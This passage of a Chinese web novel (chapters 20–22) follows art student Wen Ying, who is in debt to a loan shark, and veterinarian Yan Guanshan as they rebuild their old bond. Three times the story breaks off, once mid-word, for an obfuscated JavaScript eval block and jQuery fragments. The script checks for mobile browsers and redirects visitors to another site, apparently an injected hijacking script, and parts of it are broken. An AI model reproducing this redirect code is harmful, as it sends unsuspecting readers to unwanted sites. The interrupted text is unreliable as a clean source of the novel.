闻影摸了下质量挺好,枕头被芯可不便宜,再加床品对晏关山来说花了笔不小的钱了,闻影拖过来就盖肚皮上,看对方给放好枕头锤一锤,又拢起塌地上的被子角,闻影故意问:“你买给谁的啊?”
晏关山这下是真无语了:“你说呢?”
闻影:“不知道。”
“不知道算了。”晏关山收起碗去厨房,闻影追过去。
闻影并不是随时住在这里,他有家能回,比这儿大比这儿舒坦,只是回去一个人,偶尔有点寂寞,会想赖在晏关山这儿。闻影是觉得赖一次是一次,他就当是玩儿,解决俩人一起吃饭的问题,顺带照管生活不能自理的穷困大少爷,就当是报恩。
可报着报着,又舍不得晏关山那点好了。表面看上去晏关山像是被强迫的,比如闻影偏要留宿,比如下班下课有人蹲点拉他吃饭,比如周末打二人篮球,你当他不愿意,面无表情不发一语,到了球场打的比谁都认真,二人篮球都能打一下午,闻影都瘫了晏关山还拉着不让走,后来晏关山还舍舍得得地买了一颗新篮球,二人篮球成了周末固定的为数不多的娱乐项目。
蹲他去苍蝇馆吃饭,一开始嫌弃卫生条件差,后头已经学会自己发现新的觅食点,但晏关山会去主动找的都是照着闻影的口味,闻影爱吃什么不爱吃什么,他都记得。一家馆子好不好吃能不能吃,得闻影点头,晏关山把闻影当成苍蝇馆的权威。
对于一个不善表达也几乎没有交际的人来说,木讷就是真诚最极致的表现,这些东西直抵闻影心间,让他能感受得到,晏关山在一点点接纳自己,在对自己好,是放在心上的那种好,不掺杂任何杂质,纯粹的,简单的,无法宣之于口的。
所以闻影有时候特皮,就想听一听,证明一些他早就有答案的事。他杵在晏关山旁边欣赏他洗一个破碗,又问:“你到底给谁买的被子啊?”
晏关山低头洗得认真,不回答。
闻影:“贵不贵?”
晏关山抿了抿唇说:“还能承受。”
“那就是贵。”闻影歪着头笑,“这么舍得?到底给谁买的?你不说我可盖不起。”
晏关山瞥他一眼:“你真不盖?”
“不盖。”闻影重复,“盖不起。”
这人犟起来真干得出在沙发上光溜溜赤条条睡一晚的事儿,晏关山无奈地偏过头,留海遮不住他长长的睫毛,他眨了下眼,看似心里有些波动。晏关山说:“我给毛毛买的。”
“啊。”闻影心里头舒服了,乐道,“给毛毛的,毛毛是谁?”
“景三儿。”晏关山不知道是笑两个人都很幼稚,还是笑别的,他笑着这么说,“我给你买的。”
20.第 20 章
六年前的事儿就是不能想,一旦撕开一点口子,被压下去的情绪就泛上来,闻影不打算再搭理晏关山,好把脑子里不该有的想法都赶出去。
但自从把酒醉的人送回家后,之后几天,晏关山每天都要发微信过来,有时候约闻影吃饭,有时候发猫片,除了小橘,现在还多了阿炳。
两人坐下坦白过后,晏关山像是彻底豁出去了,即使闻影不理他,晏关山也不气馁,坚持不懈没话找话地硬聊,五分钟之前,闻影又收到了一条网站链接——
【犬种图鉴-捷克狼犬(霸道总裁&小奶狗)】
闻影:“……”
他点开看了眼,长得是凶,那双琥珀色的眼睛警惕地盯着对方时威慑力十足,不过趴在主人腿上的摸样又挺乖的。
紧接着又发来了一张照片。
花园里,皮皮乖巧地蹲在地上仰着脑袋,晏关山捏着梳子给狗子梳毛,看皮皮那神色像是极其享受。
见到皮皮,难免想起晏关山说的醉话,他稀里糊涂跟狗子说的“老大”,那个叫“毛毛”的老大。
给闻影取小名护着他长大会喊他“毛毛”的外婆早就不在了。闻影活这小二十几年,为数不多能感受到温存的人,除了外婆,就只有晏关山。
也许这正是当时告诉了他小名的原因,想在那间称不上家的小小租屋里,听他这样叫自己。
其实晏关山酒醉之后的第二天,闻影曾去他的医院偷偷看过,他从前根本没留意的医院招牌,赫然写着毛毛宠物医院。
闻影不明白晏关山为什么这么做,也懒得去细究那晚上对方是真醉还是借酒装疯,但恻隐之心不是假的,所以他留下照顾他到后半夜才走。
之后尽管很少回微信,他也没把人拉进黑名单。
[Y]:它很乖,认人的,下次不会凶你了。
[景三]:谁拍的照啊?
[Y]:李姐拍的,平时工作忙,家里有阿姨帮我照顾毛孩子。
[景三]:忙还养那么多,家里没人,它们跟坐大牢有什么区别?
[Y]:没办法,只有我要它们,跟了我是挺倒霉的,但是我会管到底。
闻影老觉得这句话哪怪怪的。
[Y]:所以你有空的话能不能来家里帮我喂喂猫和狗,它们都很乖,可以给你当模特,不收钱。
[景三]:……
[景三]:滚。
“乐什么呢?”
闻影闻声抬头,苏淳靠着画室玻璃门,把玩着手里的车钥匙。
闻影摁灭手机,调整表情道:“下班了?”
“嗯,路过画室说看你在不在。”苏淳扫了一眼角落里零星的几个学生,小声道,“走,一起吃个饭,吃完还画我送你回来。”
闻影淡淡道:“不想吃。”
苏淳耸肩:“不想和我一起吃?”
闻影看了他一眼,没吭声。
苏淳不是个咄咄逼人的人,向来闻影拒绝,他不会过多纠缠,最近不知道受什么刺激,染上了和晏关山一样的恶习。
总像个显眼包一样在眼前晃,烦死了。
苏淳无奈地叹了口气,搬椅子坐在闻影画架后头:“我是有事想跟你说。”
“在这说。”闻影低头弄调色板。
苏淳两手一摊:“好吧,就是画展的事,策展人跟我说,虽然展览还要持续两周时间,不过你的画已经全都卖了,算是这次展览表现最好的,恭喜你。”
闻影扯了下嘴角:“又卖不了几个钱。”他瞥一眼苏淳道,“块儿八毛的,也值得你非得吃个饭说?不知道的以为几个亿的生意。”
“块儿八毛还是几个亿,反正你都不在乎。”苏淳道,“不过有人欣赏自己的作品,这不值得吃个饭庆祝一下吗?”
闻影想到什么:“谁说我不在乎,文老不说了么,搞艺术也得吃饱肚子。”
“所以啊,今天不和我吃,改天还得一起吃。”苏淳正色道,“伯纳画廊的杨经理想跟你聊聊,格非画廊的郭总也递了名片,问你哪天有空去他们那看看,我估计,都想提前跟你确定签约意向。”
闻影有些惊讶:“我没毕业就聊签约,早了点吧?况且……”
苏淳:“况且什么?”
“没什么。”闻影不想多聊自己。
苏淳一眼看透:“考研的事吧,还没想好?”
闻影点头。
他本来是打算继续读研的,没高利贷那档子事儿前,他想过出国读,后来考虑经济状况,在玉大读也很好,反正读不读都得找活养活自己,孤家寡人的,出不出去也没什么负累。
但现在又沾上罗虎,一时半会解决不了,拿钱吊着他,钱确实不剩多少了。
生活费和学费都有了压力,闻影不得不斟酌起将来。
苏淳:“在校的优秀学生,也是可以提前签约的,不耽误你继续读书,而且签约之后,画廊有专人策展营销,还有针对画师本人的宣传,跟同期生比,提前积累名气,又能增加收入,两全其美啊。”
名气不名气闻影眼下根本考虑不了一点,倒是收入问题,他听进去了。
没办法,人穷志短。
闻影:“什么时候吃?”
苏淳欣慰一笑:“等我约,之前没定,我是担心你不乐意去,现在就好说了。策展的王老师和我都得在,我主要是负责帮你把把关。”
闻影:“行。”
正事说完,苏淳依旧赖着不走,闻影画画时最讨厌旁边有人目光灼灼地盯着看,他忍了半天开始轰人:“不是要下班吗?还不走?”
苏淳支支吾吾:“嗯……想问你些事,又怕你不肯跟我说。”
闻影无情道:“那就别问,走吧。”
苏淳噎了下:“晏关山和你以前就认识?你俩……在一起生活过?”
闻影皱眉:“谁跟你说的这些?”
苏淳:“他说的。”
闻影:“……”
苏淳把沉默当默认,又问:“你和他在一起过吗?”
闻影答得飞快:“没有。”
“他追过你?”
“那你喜欢过他吗?”
“是不是现在他还死缠烂打?”
“其实我也——”
“有劲没劲啊你。”在苏淳问了一堆问题得不到回应准备表明心迹的时候,闻影眼皮一跳粗暴打断他,把调色板和画笔一扔,翘起二郎腿:“你对他那么感兴趣?”
苏淳直言:“是对你俩的过去感兴趣。”
“没什么过去。”闻影道,“当初我死缠烂打追他没追到而已,啥也没有,啥也不是。”
……
距离期末考还有两个星期,闻影大清早就被边屹的电话吵醒,软磨硬泡地喊出了门。
其实要是他不乐意,天王老子来了也不会起床,但考试迫在眉睫,专业考试虽然不虚,架不住思修、艺术史、理论等等得死记硬背,闻影这段时间在家里假模假样拿着书背过,都以睡死告终。
痛定思痛,为了文老能过个好年,他得跟边屹去抱个佛脚。
期末的图书馆比菜市场人还多,不过很安静,翻书声敲键盘声此起彼伏,比任何时候都更催眠,闻影强撑着眼皮,一早上也没能背进去几页,边屹倒是背得忘我,闻影趴在桌上看了他一会儿,小声道:“我出去抽支烟。”
“批准。”边屹目不斜视,“带杯咖啡给我,加奶少糖多一份浓缩。”
闻影无语地弹了个脑瓜蹦给他:“等着。”
再不抽根烟,闻影可能真得睡死过去,这几天天气还是很冷,闻影买了咖啡提溜着,在图书馆门口找到个背风的地方抽烟。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244822|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一根烟燃尽,闻影找垃圾桶扔掉,正抬脚要进门,倏然看见一个熟悉的身影。
晏关山抱着几本书,拎着手提电脑正往楼梯上来,闻影正寻思这人怎么阴魂不散到跟到了图书馆,就见一个姑娘把人堵下了。
没记错的话,是在小花园里跟自己表白的毛茸茸。
姑娘说话时眉飞色舞,小动作很多,一会儿跺脚,一会儿背手,看样子比较激动。不知道在跟晏关山说什么,晏关山教养很好地微微低着头,含笑应着。
看到对方掏出手机给姑娘扫码加好友,闻影忍不住发出一声“啧”。
闻影没心情继续看,准备走时,两个人突然齐齐抬头看过来,毛茸茸一边指着自己的方向,一遍捂着嘴笑。
“闻影。”晏关山弯着眉眼叫他,“等我一下。”
闻影吐出一口白汽,站定。
晏关山跟毛茸茸道别,小跑着过来,带过一阵有凉意却好闻的风。
“你怎么也来图书馆了?”
“你怎么跟到这儿了?”
两个人同时开口,晏关山一愣,闻影却是问完尬得想把人打晕重新再问。
晏关山忍着笑:“我没跟踪你。不过你要是喜欢,我也可以跟。”
闻影:“……别有病。”
晏关山往里看一眼:“准备期末考?”
“嗯。”闻影用鼻子出气,又问,“你来干嘛?”
晏关山理所当然地说:“我也是玉大的学生啊。”
“不要脸,毕业多少年了都。”闻影揶揄,“来图书馆勾搭妹子吧?”
晏关山挑眉:“人家找上我,是以为我俩认识。就美院花园那回,她蹲你两次,次次被我遇上。闻影,你挺受欢迎。”
风吹得头发遮住半张脸,只留了好看的鼻梁轮廓和鼻尖那颗小痣,晏关山看得入迷,闻影的嗓音被风吹得很远很轻:“没别的话讲我可进去了。”
“你旁边还有位置吗?我来晚了,怕没地方坐。”晏关山眨眨眼睛,看对方一脸不相信,道,“我真是来复习的。”
闻影一边往里走一边问:“你复什么习?”
“读博。”晏关山跟上他,扯了扯闻影的衣袖,“等会儿,给你个东西。”
“不要。”闻影看都没看。
晏关山直接往闻影的大衣兜里投了个东西,闻影皱着眉摸出来,铁盒冰凉凉的,是他喜欢吃的喉糖。
晏关山:“你抽了烟不就喜欢吃这个,拿着吧才买的。”
闻影翻了个面看了眼:“附近没卖这个的,你哪儿弄来的,别是以前的都放过期了。”
“我能给你吃过期的?”晏关山也不说哪儿买的,见闻影打开盒子吃了一颗,晏关山挺高兴,说,“走吧,进去找地儿坐。”
到了书桌旁果然是人满为患,闻影扫了一圈没在附近找到座位,只好抬手冲角落靠窗的地方指了指:“喏,那儿。”
“看见了。”晏关山颇感遗憾,“那我过去了。”
闻影没搭理他,回到自己座位上,从袋子里找到给边屹的咖啡递过去。
“谢谢我三哥的爱心咖啡,嗯?你傻站着干嘛?”边屹扭过头,“欸,又去哪儿啊?”
闻影恶狠狠地咬碎口腔里那硬邦邦的喉糖,清凉的薄荷味刺激着味蕾,他觉得自己可能是突犯恶疾了。
这家平时他很喜欢买、豆子不错、味道很好的咖啡今天它突然就不好喝了。
不好喝的咖啡就没必要留着。
不都说眼睛不用可以捐掉。
咖啡不喝那就可以送掉。
晏关山刚插上电源摁了开机键,手边就“咣当”一声被人重重放下一杯咖啡,晏关山诧异地看着来人。
闻影脸嘴很臭,眉头皱着,单手揣兜像是来打人的。
他冷酷地丢出一个字:“喝!”
21.第 21 章
周末的图书馆比平时热闹得多,闻影站在门口等边屹,戳着手机,一眨眼就转了五万出去。
罗虎收到钱很快打来电话,张口就骂娘:“你他妈打发要饭的?”
“现在就只有这么多,说好半年还清你急什么。”闻影道,“过了年,再转你些。”
“你小子……不是孤儿么,过个几把年。”罗虎卡了口浓痰,“别给我使诈,抓紧还,我等着!”
挂了电话,闻影神色如常,看了眼卡里余额,他不知道用这个办法还能拖多久,得尽快攒钱了。
隔了会儿边屹就来了,见他手里提着咖啡面包,闻影漫不经心顺嘴问:“就买了两杯?”
“晏哥这几天都来不了。”边屹挽着人往图书馆里走,“听说他这几天有几个情况比较紧急的患者,得亲自上手术台,基金会那边年底了也有不少活动要办,恐怕都没空来学校了。”
闻影嘀咕:“你听谁说的。”
“他说的啊。”边屹道。
闻影更莫名:“他为什么跟你说啊?”
边屹意味深长地看过来一眼:“我好奇,当然就主动问他去干嘛,问了人家就告诉我呗,你好奇你为啥不问?”
“我好奇他干嘛。”闻影不承认。
“口是心非。”边屹瞅着他,“不好奇你来跟我打听个什么劲?”
闻影作势要弹脑门:“皮痒了是吧?”
落了座,转头看到身边的人是陌生同学,瘦瘦小小的姑娘,闻影还有点不习惯。
自从周一在图书馆偶遇晏关山,这周天天泡图书馆都有他,边屹热心肠,占座占三个,晏哥前晏哥后的,午饭晚饭还拉他一起吃。闻影一开始很变扭,因为晏关山说了怪话,他膈应,就先入为主地认为对方准点出现在眼前是别有用心的跟踪。
可真坐下开始背书,很多时候一天又说不上几句话,晏关山论文写得认真如入无人之境,闻影不论是在旁边冲瞌睡玩手机还是身上长刺儿一样左扭右扭,他都一副老僧入定的模样。
到这时候,闻影又觉得是自己多心了,人家这真是来学习的,比自己都真。
可能是这周天天都在接触,习惯了旁边杵个学霸,学霸突然不来了,闻影又感觉差点儿意思。闻影觉得自己就是犯贱,严格实施不见面不联系的措施就没后头拉拉扯扯拖泥带水的事,何至于一盒喉糖就心软。
中午在食堂吃饭的时候,边屹终于忍不住问他:“你一早上心神不宁的,咋啦?”
“你书都背熟了?”闻影搅着米饭问。
边屹叹气:“没有,早呢。”
闻影瞥他一眼:“那你心神能宁?”
“我临考试都会紧张,你不一样啊,你一个高考都能睡得着觉的奇男子,区区期末考试能唬着你?”边屹眼睛一转,直戳要害,“是因为晏哥没来吧?”
闻影丢给他一只鸡腿:“别把你的肮脏思想强加在我身上。”
“怎么就肮脏了,帅哥谁不爱看呀。”边屹咽下嘴里的肉道,“这样吧,既然你不好意思开口,我给他发微信问问下周忙不忙,不忙就来一起学习,我们三哥就爱学习。”
闻影飞过去一只筷子:“你什么时候加的他微信?”
“早就加了,看完画展去吃饭那天,我们几个都互相有好友了,我还有许哥的呢。”边屹得意地说,“不然你以为这周随时偶遇,真是巧合啊。是晏哥说要和我们一起来,他写论文。”
闻影凶狠地瞪过去一眼:“你咋那么事儿呢,跟他又不熟,老叫着他一起干嘛呀。”
“你可真奇怪。”边屹根本不怕他,“我早想问了,晏哥人挺好的,对朋友热心,对你又特别关照,你怎么每次提起他都跟仇家一样,到底有什么过节?”
闻影吃饭没搭腔。
边屹开始细数晏关山的种种优点,什么高过一米八五,帅得惨绝人寰,以前学习好现在事业有成,闻影笑话他是村口媒婆,边屹不服道:“我不是只看外在,单说晏哥人品,他对朋友真是没话说,哪怕才认识,我们找他帮忙他都没推辞过。”
闻影懵了下:“你们找他帮什么忙了?”
“喔对不住,忘记跟你说了。”边屹咽下嘴里的东西,认真解释,“我同学,就那个宸宸,家里养了条高加索,大半夜的发病,狗都抽抽了,一家人急得不知道怎么办,小200斤的狗瘫那儿就算找到还开门的医院,他们也没办法把狗弄上车,之前我跟他提起过晏哥开宠物医院嘛,本来说是帮晏哥推广推广,那晚上同学给我打电话,我就跟晏哥求助了。”
“晏哥直接联系的我同学,打视频检查狗的情况,现场教学急救的方法,真给救回来了,狗能喘上气,晏哥马上安排他们送去最近的医院,检查和手术还是晏哥赶过去亲自做的,宸宸说,他家狗年纪大了,突发心脏病,要是没晏哥早凉透了,后来还送锦旗去了呢。”
闻影嘴硬道:“……他本来就是干这行的。”
“那他帮费费,你又怎么说?”边屹说。
闻影无语:“怎么又有费彦的事?”
边屹继续讲:“费费妈现在情况不是好些了嘛,想着给家里补贴家用,她那个身体又干不了重活,就做手工针织想着卖点是点。”
闻影知道这事儿,他也帮费彦转发过朋友圈,费费妈织的东西挺好看的,衣服和玩具挂件都有,就是找不到销路不好卖,她没那个体力去摆摊,再说了,在小县城里摆摊卖这个也没人要。
边屹道:“那天他问我有没有什么办法,找个稳定的销货渠道,不用多,能卖出去就行,我就想着问问晏哥有没有认识的宠物店,费费妈可以织小动物的衣服和口水巾嘛,结果晏哥大气,直接把费费妈手里的存货都买了,还订了不少,给费费妈高兴坏了。”
闻影:“他买去干嘛?”
“卖啊。”边屹说,“晏哥也开了宠物美容店的,只是没医院多,放在店里卖是条路子,我听费费说,晏哥还打算备些在医院,当患者康复出院的礼物,还有基金会资助的几个救助站,募款的时候可以用费费妈织的东西做回礼。”
闻影不得不承认,确实帮了费彦一个大忙,但嘴上还要犟说:“他顺手的事。”
“晏哥还跟费费妈说,不用赶工,身体允许再做,做出来不愁卖,不用急的。”边屹感慨,“我和费费都特感谢晏哥,认识没多久这么帮我们,恐怕是看在你的面子上,你倒说说呢,为什么对他那么恶劣。”
闻影正想解释,又听见边屹在那嗫嚅:“明明你也对他很特殊。”
闻影反驳:“我对他哪里特殊了!”
“都是往上贴的大帅哥,你导员就没这待遇。”边屹对自己的火眼金睛向来自信,“旁观者清,我看得出来你讨厌苏淳献殷勤,所以离他八丈远恨不得在脑门上刻个‘滚’字,但是对晏哥,你还护着,这不是区别对待?你是不是对他有意思?”
闻影生硬道:“没有!”
“可他对你有意思。”边屹笃定。
“你再胡说八
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262510|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道老子走了!”闻影烦躁起来。
“啊好嘛好嘛,我错了。”边屹拉着他胳膊,撒了会娇才说,“我就是看不懂你对人家又护又赶什么意思,瞎猜呢。”
闻影知道边屹八卦,提醒道:“你可别跟晏关山去聊这些,更别聊我。”
边屹突然沉默。
闻影一口气上不来:“早把我卖干净了是吧?”
边屹小声说:“刚跟你说的那些事晏哥不让我们告诉你,怕你知道了觉得他别有用心,正常哪会往这上头想,那肯定你俩有事儿呗,我就多嘴问了几句,他就承认了。”
闻影眉心一跳:“承认什么?”
边屹:“晏哥就只是单纯想对你好。”
闻影松了口气,还好没说别的。
但这句话也很暧昧,不爱听!
“三哥,我没有给人做媒的兴趣,只是晏哥做人做事太坦荡,搞得我都感动了,才忍不住跟你说这些,我确实不明白你对他哪里来的敌意。”边屹道,“我想过你刻意赶他,是不是因为……心里还有黑月光啊?”
黑月光就是你晏哥。
闻影心里叹气,嘴上还是不肯说。
边屹道:“都那么多年了,错过就错过了,眼前的人那么鲜活生动,不比陷在回忆里好吗?”
他摇了摇闻影的手:“不然你接着把故事讲完,时间地点人物,做到哪种程度,听完我给你分析分析,可能就能理解你了,嘿嘿。”
“做……”闻影噎得有点心律不齐。
这完蛋东西搁这儿套瓜呢!
闻影不上当:“赶紧吃,吃完还要复习呢,你消停点儿等我哪天心情好了再跟你说。”
周末两天都有饭局,闻影复习到饭点就直接坐苏淳的车去和画廊负责人吃饭了,虽然签约意向并没有定下来,但聊得都是专业相关和以后的发展规划,画廊负责人给了不少中肯的建议。
起码假期的兼职已经落听,算是解了闻影燃眉之急。
一直到期末考这天,晏关山都没再见到闻影,联系也少了很多,晏院长忙得晕头转向,医院几乎都是生死攸关的大事,他实在走不开。
下了手术台,晏关山立刻拿出手机给闻影发微信。
[Y]:考试顺利。
[Y]:[加油][肌肉]
对方秒回。
[景三]:你要不看看现在几点。
晏关山愣了下,他正拿着手机往大堂走,一晃神才发现天早就黑了。
外面早已灯红酒绿,不知不觉几台手术做完已经这个点,他笑了下低头回消息,察觉哪里不对,他又倏然抬头,往对面黑黢黢的巷子看去。
确实不是眼花,那里有两个人吊儿郎当地站着,鬼鬼祟祟的。晏关山皱着眉找了个角度,在确保对方不会察觉的情况下边观察边回忆,这俩人已经不是第一次出现在医院门口了。
晏关山假装打电话,走到了街面上,拉近距离看得很清楚,这两人在 ktv 里见过,是罗虎的小弟。
罗虎派人盯梢,说明闻影和对方之间的问题并没有解决,或者说没有解决彻底,蹲在医院门口少说也有三四次了,不然晏关山不可能对那个不起眼的角落留心,但只蹲不现身,对方显然还在等。
可究竟在等什么?
闻影那边是不是也有人盯梢呢,想到这里,晏关山直接给闻影打了个电话。
对面接起来声音懒懒的:“干嘛?”
晏关山直接问:“你在哪?”
22.第 22 章
对方语气里有一丝不易察觉的紧张感,闻影愣了下:“……查岗?”
晏关山立刻换个问法:“考得怎么样?”
闻影:“就那样,挂不了。”
晏关山“嗯”了声又问:“那你在哪?”
闻影:“……”
闻影:“凭什么告诉你!”
晏关山平静地说:“我好奇。”
闻影没好气道:“好奇别人去!”
“对别人没兴趣啊。”晏关山不经意瞟着暗巷中的人说,“我忙到现在还没吃饭,你要没事儿,一起吃个宵夜吧?”
“我有事。”闻影拒绝得很干脆,“画画呢,别吵吵我。”
说挂就挂,属实无情。
但好歹对方说了在哪里,晏关山换上常服,开车出门。兜了一大圈买到吃的,回了玉大。
夜晚的校园也热闹,期末刚结束,很多学生还没回家,这会儿忙着聚会谈恋爱,到处都是成双成对的小情侣,晏关山把车开进美院停好,拎着一堆东西直奔画室。
他没舍得打扰眼前画面。
闻影安安静静地坐在凳上,一只腿架得高些,担着一块调色盘,他捏着画笔的神情随意散漫,用很慢的速度才谨慎地落下一抹色彩,想的多动得少,若是仔细听,整个画室空荡得只余他一举一动的声响。
晏关山在他跑路那六年里无数次肖想过对方的生活状态,他去过很多很多工地,在一众挥汗如雨的工友里寻觅最帅气的身影。
他想,那个穿衣显瘦脱衣有肉浑身是劲的少年,认真搬砖的时候,也散发着致命吸引力。
可他始终没找到,也没见过这样的画面,直到知晓对方姓名职业全是骗人的。
晏关山又想,那搞艺术的闻影又会散发什么气息呢?
他的肖想在此刻具象成了心动的声音。
一收一紧,比画笔落在纸上的声音吵得多。
“咚——”晏关山在窥了二十分钟后还是敲响了玻璃门,他看到对方茫然抬头,脸上的错愕很显眼,晏关山笑着问,“我可以进来吗?带了宵夜,一起吃吧。”
闻影愕然后很快恢复如常:“我不让进难道你会走?”
“不走,我蹲门口看着你吃。”晏关山打趣完看闻影一脸懒得搭理,径自走了进去。
晏关山动作轻巧地把周围的椅子都搬了过来,宵夜一样一样打开放上去,食物的香气一下子盖过了颜料的味道。
闻影情不自禁地咽了下口水。
晏关山掰开筷子递过来:“是你最喜欢吃的那家。”
“骗鬼呢,老黄关张多少年了。”闻影放下画笔,拿过筷子夹了颗虾饺塞嘴里,瞬间眼睛一亮,瞪得铜铃那么大。
晏关山失笑:“没骗你,真的是老黄家的大排档,前几年经营困难确实关了一阵子,后来在别的地方又开张了,味道变没变?”
闻影腮帮子鼓鼓的,边吃边看还有点什么菜:“还是那味儿,一吃就知道,他现在开哪儿了?”
晏关山答:“城东新区,广南路。”
“新大学城啊?”闻影愣了下,“那不是离这儿三十多公里,你……”
晏关山下了班开车去一来一回一个半小时,压着超速线,才把热乎乎的宵夜带回来。
但他这样做不是想让闻影感动,只是想说几句话。
“老黄大排档还在,那些年我一直在找你,人没找到,看见老黄的店倒算个意外收获。他还记得我,每次去吃他都问你在哪,走前老叮嘱,下次去把你带上。”
闻影低着头,嚼东西的速度变慢了,可他只听不说。
“大排档生意很好,老黄长了不少白头发,人却比从前还精神,经历过店铺关张,他像是成熟了很多。”
“跟形形色色的客人周旋起来一点不费劲,整天笑得跟个弥勒佛一样,旧店的客人一个都没忘。”
“我跟他说,今天的宵夜特殊一些,是给景三带的,他还记得你爱吃什么不吃什么。”
晏关山将吸管戳进杯子,食指点了点杯盖:“这杯柠檬很多,没放盐,你的。”
闻影把筷子放下了。
蘸料里的醋碟都换成了酱油。
鱼圆没放姜汁。
咸柠七不咸。
炒河粉里豆芽和韭菜加了双份的量。
做菜的人还记得他的口味,买宵夜的人也记得。
闻影猛喝一口饮料,半晌才问:“跟我说这些干什么?”
雁过留影,人过留痕,晏关山是那个后知后觉但放心中太重的人。
他想把话说完,但又不知道从何处解释起,当年犯下那个错误的原因。
晏关山委婉地试探:“改天和我去一次?老黄可惦记你。”
要不说学霸聪明呢,拿别人当借口,闻影听着就没那么抵触。
“嗯。”闻影答应得很爽快,吃了半盒炒河粉,虾饺留了两颗,一对凤爪剩一个,他再捡起筷子敲了敲饭盒边缘,“你不是没吃饭么,动筷。”
闻影冷硬的态度,被一顿宵夜融化大半,要是对方捧着鲜花或者别的礼物突然出现在眼前,他多半会毫不留情地把人骂走。可偏偏他最受不了这种沾了人间烟火的小恩小惠。
老黄的大排挡原先开在玉大旁边,实惠好吃,闻影常去,最开始都是他一个人,渐渐地他开始点很多东西打包带走,终于有一天,他带着一个高大帅气的男孩子一起去见了老黄,跟对方介绍,“这我哥,以后他点菜,多给点。”
想起以前这些事,闻影不免话多起来:“老黄以前脾气很臭,我也臭,有混混喝酒打架他能给人全部轰出去,不过不赶我走。”
晏关山咬着虾饺问:“因为你是大客户?”
闻影平静道:“老子念初中就在街面上打架了,老黄认识我,也是那片儿,他看我小,训过我一次,训完打了碗鱼丸汤给我吃。带你去的时候我都高二了,老黄看着我长大的,不过在他眼里我还是小孩儿吧。”
晏关山客观评价:“还是能看出来你跟混混不一样。”
“看个屁。”闻影挑眉,“你不就信了?”
晏关山反驳:“我信的是你,没想过你会骗我。”
“有劲没劲,又提这茬!”闻影凶他。
晏关山耸耸肩:“我好单纯的。”
闻影愣了半天,噗嗤一声笑出来,笑晏关山没脸没皮,两个人几句话就把这些梗在彼此心里时间很长的心结轻轻揭过了。
他曾经觉得对方一定会记恨自己的不诚实,当坦白的那一刻,或许晏关山会很生气,时过境迁,翻旧账也只是玩笑几句,让闻影觉得轻松了不少。
晏关山从包里拿出湿纸巾递给他:“擦擦手继续画你的,尽顾着说话了,我还没吃饱,边吃边看你画可以吗?”
闻影接过湿纸巾好好擦手:“你能不能少问几句废话啊。”
晏关山端着饭盒,把椅子挪了下角度,直观地欣赏画架上的半成品。
很抽象,用色大胆,形状……看不出形状,和寻常认知完全不同,大块大块的色块明艳动人,给人实打实的冲击力。
闻影瞥他一眼:“看得出来是什么吗?”
“海上日出?”晏关山也不太确定,他眨着眼睛,“我没什么艺术细胞,看着像。”
“嗯。”闻影又落下一笔,指了指架在一旁的手机,“这是我写生拍的照片,在G市,闭月湾码头。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285068|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晏关山像是发现了新大陆:“你还去外地写生?”
闻影看傻子一样看他:“哪个学画画的不写生啊。”
晏关山:“一个人去?”
“大多数时候是一个人。”闻影顿了顿道,“和苏淳也去过一两次。”
一两次。
晏关山把嘴里的虾饺当苏淳嚼。
难得两个人有这样安安静静敞开心扉的时候,晏关山不想被苏淳这个名字破坏,又问别的:“考完试了还不回家?”
闻影:“画完再回。”
“我不是说租的房,过年你不回家吗?”晏关山尽量让语气显得自然,“以前都没问过,你是玉城人?”
闻影动作一滞,很快漫不经心地笑着道:“我没家。”
晏关山:“什么意思?”
闻影神色如常:“字面意思。”
见晏关山欲言又止和逐渐皱起的眉头,闻影拿起画笔指他:“打住!那什么表情!再苦哈哈地看着我,把你头打掉!”
晏关山也不知道说什么好,问多了惹人烦,毕竟是家事,不问他不知道具体情况如何,心疼都无从下手。
闻影还没有彻底接受他,也没有迈过曾经那道坎,他不急着问到底。
晏关山默默吃完宵夜,把东西都收拾干净,凳子归到原位,然后挑了个闻影视线之外的地方坐下,看他画画。
画的人认真,看的人更认真,半个多小时过去了闻影才想起来还有个人,闻影揉了下有些酸疼的脖子:“你怎么还不走?”
“画完了吗?”晏关山问。
闻影:“今天的差不多了,明天还要来,画廊的人要得急。”
“嗯,那一起走吧,我开车来的,顺路送你回家。”晏关山道。
闻影收拾着画具:“不顺路,你走你的。”
晏关山立马改口:“开车来特意为了送你的,谢谢你那天喝醉了送我回家。”
闻影无语地看着他。
晏关山装可怜:“就这一个小小的请求。”
闻影当然知道是借口:“是不是我拒绝,下回你还得想别的理由往上蹭?”
晏关山理直气壮:“对的。”
对你个猪头。
闻影懒得拉扯,挥挥手叫他闭嘴,算是同意了。
